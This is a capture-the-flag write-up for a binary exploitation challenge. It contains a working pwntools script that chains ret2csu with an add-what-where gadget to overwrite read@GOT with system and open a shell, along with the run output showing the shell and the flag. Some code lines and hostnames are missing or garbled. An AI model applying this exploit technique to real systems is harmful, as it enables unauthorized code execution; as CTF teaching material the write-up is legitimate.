Summary: A minimal binary with only the read libc function and containing a standard stack overflow can be exploited by leveraging a common add-what-where gadget to adjust GOT entries. This removes the requirement for memory leaks. Additionally, the ret2dlresolve technique was investigated but exploitation requires a missing write-at-an-offset gadget.

Challenge Prompt

Challenge Prompt

Attachment: challenge file


Extracting the zip file shows that we have the following files:

$ unzip -l
  Length      Date    Time    Name
---------  ---------- -----   ----
      276  10-16-2020 17:59   crySYS.c
     8272  10-16-2020 17:41   crySYS
   170960  10-16-2020 17:41
  2030544  10-16-2020 17:41
---------                     -------
  2210052                     4 files

The source to the challenge is given as follows.

#include <stdio.h>
#include <unistd.h>

//gcc -o challenge -no-pie -fno-stack-protector challenges.c
//LD_PRELOAD=./ ./ ./challenge

int not_vulnerable(){
	char buf[80];
    return read(0, buf, 0x1000);

int main(){
    return 0;

This actually looks like a rip-off of the ret2dlresolve sample in the Pwntools documentation. Unfortunately, we cannot use the technique in its original form since the binary uses huge pages.

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /vagrant/cyberpeace/crysys/crySYS
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /vagrant/cyberpeace/crysys/crySYS
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /vagrant/cyberpeace/crysys/crySYS
0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/
0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/
0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/
0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/
0x00007ffff7dcf000 0x00007ffff7dd3000 0x0000000000000000 rw-
0x00007ffff7dd3000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/
0x00007ffff7fea000 0x00007ffff7fec000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

There is a way to exploit this scenario, however we need either a leak or a gadget to write at an offset to a dereferenced address. This is explored in this excellent author’s writeup for devnull-as-a-service from redpwnCTF 2021. However, the writeup also mentions an interesting well-known gadget that appears in GCC compiled binaries:

add dword ptr [rbp - 0x3d], ebx

This turns out to be present in crySYS as well.

$ ROPgadget --binary crySYS | grep '\[rbp -'
0x00000000004004c8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

Since this is an add-what-where primitive, we can use this to simply add an offset to the resolved read libc address in the GOT such that it points to a useful function such as system. Additionally, we can use a second stage with read to write an arbitrary string to execute in the .bss section. Putting this together yields the following script:

#!/usr/bin/env python

from pwn import *
from one_gadget import generate_one_gadget

# context.log_level = 'debug'
context.arch = 'amd64'

binary_path = "./crySYS"
libc_path = "./"
ld_path = "./"

# 0x00000000004004c8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
add_gadget = 0x00000000004004c8

def main():
    # Start the process/make the connection.
    # p = process([ld_path, binary_path], env={'LD_PRELOAD': libc_path})
    p = remote("", 1337)

    # Calculate some useful values.
    libc_elf = ELF(libc_path)
    elf = ELF(binary_path)
    read_got =['read']
    libc_system = libc_elf.symbols['system']
    libc_read = libc_elf.symbols['read']'[email protected]: {}'.format(hex(libc_system)))'[email protected]: {}'.format(hex(libc_read)))
    system_offset = libc_system - libc_read'system offset in libc from read: {}'.format(hex(system_offset)))
    system_offset = system_offset & 0xffffffffffffffff'Twos complement of this offset: {}'.format(hex(system_offset)))

    # Determine a writable location.
    binsh_addr = elf.bss() + 0x10'/bin/sh string Address: {}'.format(hex(binsh_addr)))

    # Construct the chain to use the add-what-where gadget and ret2csu to modify [email protected] to system.
    rop_chain = ROP(elf)
    # Read the address of read_got to the writable address we control to write the command., binsh_addr)
    # Setup the registers for the add-what-where. rbp has to account for the -0x3d
    rop_chain.ret2csu(edi=0xdeadbeef, rbx=system_offset, rbp=read_got + 0x3d)
    # Trigger the add-what-where to transform [email protected] to system.
    # Fix up the aligning with a ret.
    # Call our system()

    # Send the first stage."Sending the first stage.")
    payload = flat({88: rop_chain.chain()}, filler=b'X')

    # In the second stage, write the command we want to execute.
    # Using just /bin/sh alone seems to end in a segfault after the first command so let's get a
    # nicer shell."Sending the second stage.")
    command = b'/bin/sh -c "/bin/bash"\x00'

    # Obtain our shell.
    log.success("Enjoy your shell!")

if __name__ == '__main__':

Running the script gives us the flag.

$ python
[+] Opening connection to on port 1337: Done
[*] '/vagrant/cyberpeace/crysys/'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/vagrant/cyberpeace/crysys/crySYS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] [email protected]: 0x4f440
[*] [email protected]: 0x110070
[*] system offset in libc from read: -0xc0c30
[*] Twos complement of this offset: 0xfffffffffff3f3d0
[*] /bin/sh string Address: 0x601040
[*] Loaded 14 cached gadgets for './crySYS'
[*] 0x0000:         0x400583 pop rdi; ret
    0x0008:              0x0 [arg0] rdi = 0
    0x0010:         0x400581 pop rsi; pop r15; ret
    0x0018:         0x601040 [arg1] rsi = 6295616
    0x0020:      b'iaaajaaa' <pad r15>
    0x0028:         0x4003f0 read
    0x0030:         0x40057a
    0x0038:              0x0
    0x0040:              0x1
    0x0048:         0x600e48
    0x0050:       0xdeadbeef
    0x0058:      b'waaaxaaa' rsi
    0x0060:      b'yaaazaab' rdx
    0x0068:         0x400560
    0x0070:      b'daabeaab' <add rsp, 8>
    0x0078: 0xfffffffffff3f3d0
    0x0080:         0x601055
    0x0088:      b'jaabkaab' r12
    0x0090:      b'laabmaab' r13
    0x0098:      b'naaboaab' r14
    0x00a0:      b'paabqaab' r15
    0x00a8:         0x4004c8
    0x00b0:         0x4003de ret
    0x00b8:         0x400583 pop rdi; ret
    0x00c0:         0x601040 [arg0] rdi = 6295616
    0x00c8:         0x4003f0 read
[*] Sending the first stage.
[*] Sending the second stage.
[+] Enjoy your shell!
[*] Switching to interactive mode
$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
$ uname -a
Linux 24ec36d4-ad5b-4eb5-8fcd-e00e61def718 3.10.0-1160.11.1.el7.x86_64 #1 SMP Fri Dec 18 16:34:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ ls -la
total 3144
drwxr-xr-x. 1 root root     185 Jan  4  2021 .
drwxr-xr-x. 1 root root      20 Jan  4  2021 ..
-rw-r--r--. 1 root root     220 Apr  4  2018 .bash_logout
-rw-r--r--. 1 root root    3771 Apr  4  2018 .bashrc
-rw-r--r--. 1 root root     807 Apr  4  2018 .profile
-rwxrwxr-x. 1 root root    8272 Oct 16  2020 crySYS
-rw-rw-r--. 1 root root     276 Oct 16  2020 crySYS.c
-rw-rw-r--. 1 root root  973583 Oct 16  2020
-rw-rw-r--. 1 root root      39 Oct 16  2020 flag
-rwxrwxr-x. 1 root root  170960 Oct 16  2020
-rw-rw-r--. 1 root root 2030544 Oct 16  2020
-rwxrwxr-x. 1 root root     198 Oct 16  2020
-rwxrwxr-x. 1 root root     100 Oct 16  2020
$ cat flag

Flag: HL{PPPwned-7165-4679-8c39-cf7633bdf81b}

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